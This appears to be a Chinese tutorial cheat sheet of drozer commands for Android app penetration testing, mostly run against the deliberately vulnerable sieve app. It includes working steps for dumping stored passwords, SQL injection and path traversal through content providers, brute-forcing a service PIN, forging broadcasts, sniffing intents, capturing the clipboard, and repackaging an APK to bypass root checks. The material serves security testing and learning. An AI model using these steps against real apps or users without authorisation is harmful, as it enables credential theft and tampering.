介绍

在测试漏洞的时候除了移动端逻辑漏洞别的我们可以使用drozer进行自动化去跑测试,会点Python脚本的可以把所需要的drozer命令封装成一个批量脚本达到全自动化的drozer测试输出结果报告,挖掘SRC会更效率。

本篇文章包含了可以与Drozer一起使用的命令列表,Drozer是一个用于测试Android应用程序的工具。 大部分的命令都是针对MWR Infosecurity开发的一个名为sieve(com.mwr.example.sieve)的Android应用实例进行的。Drozer和sieve都可以从https://labs.f-secure.com/tools/drozer/ 下载。

这些命令根据它们的作用被分为不同的类别。

基础知识

要查找已安装的应用程序的软件包名称

dz> run app.pack.list -f Sieve

获取应用程序的清单

dz> run app.package.manifest com.mwr.example.sieve

获取攻击面

dz> run app.package.attacksurface com.mwr.example.sieve

检查可导出的活动

dz> run app.activity.info -a com.mwr.example.sieve

检查launchintent(主要活动)

dz> run app.pack.launchintent com.mwr.example.sieve

调用可导出的活动

dz> run app.activity.start --component <package_name> <full_activity_name>

检查导出的内容提供商

dz> run app.provider.info -a com.mwr.example.sieve

查找内容URI

dz> run app.provider.finduri com.mwr.example.sieve

如果在导出的内容提供者中找到了URI路径,那么使用下面的命令运行该路径以找到有用的数据,(在筛选中,所有的密码都被转储)。

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/passwords

在内容提供者数据库中插入条目

dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com

查找具有特定权限的应用程序

dz> run app.package.list -p android.permission.INSTALL_PACKAGES

查找以特定UID运行的应用程序,在本例中,系统

dz> run app.package.list -u 1000

寻找查看特定mime类型的应用程序

dz> run app.activity.forintent --action android.intent.action.view --mimetype application/pdf

查找设备上所有可浏览的活动

dz> run scanner.activity.browsable

提示

要找到启动活动的名称,请检查应用程序的manifest或使用drozer中的app.package.launchintent模块。你也可以使用theapp.activity.start模块从drozer启动主活动。 通过 **(((android:targetActivity)))=".someactivity"**来寻找代理活动。 搜索filterTouchesWhenObscured来查找是否容易被tapjacking。 尝试访问/Keys/而不是/Keys,它有时会绕过内容URI的模式匹配。

SQLi漏洞

SQLi关于使用projection参数连接到DB的内容提供者的问题。

1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "'"

在内容提供商上自动执行SQLi

dz> run scanner.provider.sqltables -a content://com.mwr.example.sieve.DBContentProvider/passwords

用于启动本地主机服务器以显示内容提供者和运行类似sqlmap的工具。

dz> run auxiliary.webcontentresolver -p 9999

对设备上的所有内容提供商进行自动SQLi扫描。

dz> run scanner.provider.injection

遍历

使用内容提供者读取外部文件

1
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts

在目录中遍历/筛选数据库

>dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts。

自动遍历

>dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProvider

可供阅读:https://www.sh4ka.fr/android/galaxys3/from_0perm_to_INSTALL_PACKAGES_on_galaxy_S3.html#_tl_dr

利用服务

获取服务

dz> run app.service.info -a com.mwr.example.sieve。

在sieve中利用handleMessage()函数(AuthService服务的代码分析)

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj。

在上述要求中,PIN 1337可以被强制执行

利用CryptoService加密一个消息

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj

在–msg中传递的参数是额外参数。分析代码,使用其中提到的参数,并增加额外的参数,直到完成3个参数。–msg期望有三个参数。

利用广播接收器

获取广播接收器

dz> run app.broadcast.info -a com.mwr.example.browser

如果一个应用程序希望广播接收器能够捕捉到一个意图,然后显示经过认证的活动,该广播的生成只有在登录后才有可能。但经过代码审查,攻击者可以使用drozer手动发送该意图。 广播接收器的样本。

<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>

使用的命令
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
(Page 217 - MAHH)

意图嗅探/使用广播接收器捕捉意图,而这些意图是为其他广播接收器准备的。

dz> run app.broadcast.sniff --action  android.intent.action.BATTERY_CHANGED

dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN (发送广播的动作名称)

其他命令

使用drozer模块查找WebView是否可被利用。

dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js

漏洞案例: https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/

从剪贴板查看复制的文本

dz> run post.capture.clipboard

查找应用程序是否允许其数据备份

dz> run app.pack.backup -f com.mwr.example.sieve

找出一个包是否可以调试。

dz> run app.pack.debuggable -f sieve

如果可以调试,你可以以该程序的身份运行命令。

shell@android:/ $ run-as com.mwr.example.sieve

反编译/编译/签名apk

使用apktool将app转换为baksmali。

$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck

然后用grep查找类似 “su “这样的字符串来绕过root检查(发挥你的想象力)。

再次编译应用程序。

$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk

对apk进行签名。

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystoremykey.keystore rootcheck-modified.apk alias_name.

注:使用jarsigner v1.6,用以下方法改变版本。

$ sudo update-alternatives --config jarsigner

其他技巧

在源代码中寻找openOrCreateDatabase()函数,它是SQLCipher用来存储密钥来加密DB的。

SQLiteDatabase database = SQLiteDatabase.openOrCreateDatabase(databaseFile, “test123”, null)。

检查代码中的onReceivedSslError.函数,它告诉WebView忽略SSL错误并继续连接。可以被攻击者用来读取或完全改变显示给用户的内容。

寻找setAllowUniversalAccessFromFileURLs选项设置为true,可以让攻击者在WebViews内加载其文件。

经常在代码中寻找WebView或addJavaScriptInterface关键字,可以用来进一步利用。

学习安卓逆向的途径

  1. 多逛吾爱破解,看雪论坛的移动安全版本的帖子。

  2. 多动手去逆向应用分析应用。

  3. 系统化的学习路径可以参考《教我兄弟学Android逆向系列课程+附件导航帖》

    https://www.52pojie.cn/thread-742703-1-1.html

  4. 书籍推荐《Android安全软件权威指南》,《Android应用安全防护和逆向分析》两本书足够了,如何选择自己可以看书的评论和目录根据自己喜欢去选。